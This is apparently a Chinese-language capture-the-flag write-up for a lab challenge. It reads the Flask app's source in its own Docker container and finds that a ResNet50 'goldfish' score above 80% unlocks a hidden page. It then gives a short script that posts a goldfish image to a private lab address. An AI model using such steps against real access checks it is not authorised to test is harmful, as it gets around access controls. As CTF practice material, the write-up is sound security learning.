攻击流程
有代码
注意ai会给模型文件以及部分代码用来调用接口

题目:
在check接口接收post的图片(256*256)
返回的json为similarity、access、text
目标:让access变成granted
题目是使用的ResNet50 模型
我们需要拿出预设图片
sudo docker exec ai-ctf find /app -type f \( -name "*.jpg" -o -name "*.png" -o -name "*.jpeg" \) 2>/dev/null

sudo docker exec ai-ctf cat /app/app/model.py
from torchvision import transforms
from torchvision import models
import torch
class Model():
def __init__(self):
self.resnet50 = models.resnet50(pretrained=True)
self.resnet50.eval()
self.transform = transforms.Compose([transforms.Resize(256),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize(
mean=[0.485, 0.456, 0.406],
std=[0.229, 0.224, 0.225])])
def check_similarity(self, image):
image_tensor = torch.unsqueeze(self.transform(image), 0)
out = self.resnet50(image_tensor)
similarity = torch.nn.functional.softmax(out, dim=1)[0] * 100
goldfish_similarity = similarity[1].item() # [1] is the goldfish class
return goldfish_similarity
sudo docker exec ai-ctf cat /app/app/views.py
import base64
from io import BytesIO
import flask
from PIL import Image
import numpy as np
from app import app, model
@app.route('/')
def home():
return flask.render_template('index.html')
random_number = ''.join([str(value) for value in np.random.randint(10, size=30)])
@app.route('/hidden_page_' + random_number)
def hidden_page():
return flask.render_template('hidden_page.html')
@app.route('/check', methods=['POST'])
def check():
data = flask.request.get_data()
image = decode_image(data)
similarity = model.check_similarity(image)
response = create_response(similarity)
return response
def decode_image(data):
starter = data.find(b',')
image_data = data[starter+1:]
image = Image.open(BytesIO(base64.b64decode(image_data))).convert('RGB')
return image
def create_response(similarity):
if similarity > 80.0:
data = flask.redirect(flask.url_for('hidden_page'))
return data
elif similarity > 50.0:
data = {'similarity': similarity, 'access': 'denied', 'text': 'The AI is unsure...'}
elif similarity > 10.0:
data = {'similarity': similarity, 'access': 'denied', 'text': 'The AI is confident, that you have no access rights.'}
else:
data = {'similarity': similarity, 'access': 'denied', 'text': 'The AI is very confident, that you have no access rights.'}
return flask.jsonify(data)
要similarity>80,目标是ImageNet → 1 = goldfish
查询代码
# 方法1: 用 torchvision 自带的标签
from torchvision.models import ResNet50_Weights
weights = ResNet50_Weights.IMAGENET1K_V1
print(weights.meta["categories"][1]) # → 'goldfish'
# 方法2: 直接查公开的标签文件
import requests
labels = requests.get("https://raw.githubusercontent.com/anishathalye/imagenet-simple-labels/master/imagenet-simple-labels.json").json()
print(labels[1]) # → 'goldfish'
攻击脚本
import base64
import io
import requests
from PIL import Image
# 1. 准备金鱼图
img = Image.open('goldfish.jpg').convert('RGB')
# 2. 转 base64
buf = io.BytesIO()
img.save(buf, format='PNG')
body = "data:image/png;base64," + base64.b64encode(buf.getvalue()).decode()
# 3. 发到靶场
r = requests.post(
'http://192.168.21.137:5000/check',
data=body,
headers={'Content-Type': 'image/png'},
allow_redirects=True
)
print(r.text)
